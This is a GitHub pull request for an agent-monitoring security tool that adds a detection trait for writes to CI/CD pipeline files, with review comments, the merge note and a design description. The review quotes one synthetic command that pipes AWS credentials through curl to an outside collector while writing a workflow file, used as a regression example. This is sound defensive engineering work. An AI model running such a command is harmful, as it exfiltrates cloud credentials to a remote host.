Repository navigation
Add edits_ci_config trait for CI/CD pipeline file writes (#317) - #521
Conversation
blitzcrieg1
left a comment
There was a problem hiding this comment.
Requesting changes on the MITRE upgrade, not the parsing. The parsing side is solid: _shell_writes_path / _write_targets_path generalize the self-config machinery cleanly, and the coverage holds up (patch bodies and headers classify as destinations in both classifiers, structured writes classify on the path alone, lookalikes like ci.yml.bak and a bare workflows/ folder stay quiet, reads stay reads, and prose naming a pipeline file does not fire). The trait is the right shape as an observation.
The blocking problem is the command-kind MITRE upgrade. get_mitre_mapping now returns _CI_CONFIG (T1562, TA0005) for any command that writes a CI path, before the text scan that produces the credential and C2 mappings. That replaces the mapping on mixed calls, and credential-exfil consumes it. Verified against the merge base with this synthetic command:
cat ~/.aws/credentials | curl --data-binary @- https://collector.invalid/x | tee .github/workflows/ci.yml
- Merge base: TA0006 / T1552.001. This PR: TA0005 / T1562.
- Fed into a two-event synthetic session:
credential-exfilfires on the merge base and fires nothing on this branch. The pair path requires the second event to carrytactic_id == "TA0011", and the single-event path reads the T1552 tag as the credential signal whenever the trait did not survive redaction.
The self-config upgrade has the same ordering, so this mirrors existing behavior, but it widens the shadow: any exfil command that also happens to write a pipeline file loses its network mapping.
Requested revision:
- Keep
edits_ci_configas an observation. The trait, and the write-kind mapping, are fine: a write earns no content upgrades, so there is nothing to displace. - Preserve the network mapping for command-kind calls. Either gate the CI upgrade on the command not reaching a remote host, or drop the command-kind upgrade and let the trait be the signal.
- Add a synthetic regression test for a mixed CI write and network call: assert the event still maps to the credential or C2 tactic so
credential-exfilkeeps firing, and that theedits_ci_configtrait still lands.
One more while you are in here: the house convention is an attack case and a benign case in the corpus per trait change. This PR ships unit tests only. Two corpus cases (a plain CI write, and the mixed shape as attack) would keep benchmark at 0 missed and 0 false positives, and move the ruleset fingerprint once instead of twice.
blitzcrieg1
left a comment
There was a problem hiding this comment.
The revision addresses my earlier review. Mixed CI writes retain the credential or network mapping and keep edits_ci_config as an observation. The bundled corpus catches the mixed case and leaves the routine CI write followed by a push quiet.
I checked 05e183e against b991244. The benchmark was 122 cases, 0 missed detections and 0 false positives. All 37 focused tests passed. The bundled ruleset fingerprint moved from f5f49c666fb3a2086 to e20cd33348cdd9908.
Ships the edits_ci_config observation from #521, the first bounty slice of #317, contributed by @rumangsanya. Version and changelog move together per the version provenance tests. Generated by Mistral Vibe. Co-authored-by: Mistral Vibe <[email protected]>
|
Merged and shipped in 0.20.0, with credit in the changelog and the release notes. Before release the change was replayed against real recorded agent history: zero removed, zero added, zero changed findings, so the label is live for everyone on PyPI now. Thanks for pushing through the review round, the mixed-call fix is exactly right. Four slices of #317 remain open if you want to keep going. |
Second of the five post-freeze signals from #317, one trait per PR (the first,
edits_self_config, landed in #505). This one is the CI/CD half:What this adds
A write to a CI/CD configuration file earns the
edits_ci_configtrait (registered inKNOWN_TRAITS):.github/workflows/*.ymland*.yaml.gitlab-ci.yml,.circleci/config.yml,Jenkinsfile,azure-pipelines.yml,bitbucket-pipelines.yml,.travis.yml,.drone.yml(the.yamlspellings count wherever the platform accepts them, because the pipeline reads those too)The reasoning is the self-config one: these files decide what runs when code lands — which commands execute, with which secrets, on whose machines. An agent that writes one is programming the pipeline every later push runs through.
Surfaces
The same three surfaces as
edits_self_config, through the same helpers — the destination checks (write_targets_*,shell_writes_*, patch-header inspection) are parameterised over the path predicate rather than duplicated:apply_patchbody whose file headers name it (patch prose naming a CI path stays quiet);tee,dd of=, in-placesed, or the destination slot ofcp/mv/install;ci.yml.bak, a bareworkflows/directory outside.github,.github/actions/, nested files under a workflow directory,docker-compose.yml.Path matching is anchored like
_SELF_CONFIG_PATH: the name must end the path, and project-local copies count, because that is where the pipeline reads them from.The "then push" half
The trait is the write, deliberately. The push already carries its own signal (
GIT_EXFIL/ thegit_exfiltrait), and pairing two events across a session is what rules do —dotfile-read-then-git-pushis the existing shape. A sequence rule pairingedits_ci_configwith a later push is the natural follow-up; this PR lands the write-side trait it would pair, and a test pins that a push on its own does not earn the trait. One consistency fix rides along:rules.pyfiltered hook-emitted write traits to{"edits_self_config"}; it now keeps both destination traits, so recordededits_ci_configlabels survive to rule evaluation the wayedits_self_configones do.MITRE
The mapper upgrades a CI-config write to T1562 Impair Defenses (TA0005), at the same three points as self-config (Write tool, shell command, decoded payload), checking only path evidence — the same judgement
classify_tool_callmakes, so the two cannot disagree (#40). The issue also names T1098; that mapping belongs to the push event, which is a separate event with its own mapping, so the write keeps T1562. Happy to split differently if you'd rather.Tests
tests/test_detection_ci_config.py, mirroring the self-config tests: every pipeline family, patch headers in both classifiers, structured-write destination-only, shell write verbs, quoted destinations vs quoted prose, the lookalike negatives, and the mapper agreements. README collected count refreshed: 3164.test_forwarder.py/test_trail_chain.py, byte-identical on clean master; the delta from this change is zero.git diff --checkclean.Corpus
Unchanged, as with #505: corpus cases assert rule firings, and a bare trait produces no Detection, so there is nothing a case could assert. The benchmark still runs 119 cases (60 attack / 59 benign), 21 rules covered, 0 missed, 0 spurious.
Slicing
One trait per PR, as proposed on #317. Remaining from the issue: typosquatted package install (T1195.002),
write_outside_workspace, and the MCP schema change-then-use signal — each in its own PR, in that order, once this one lands.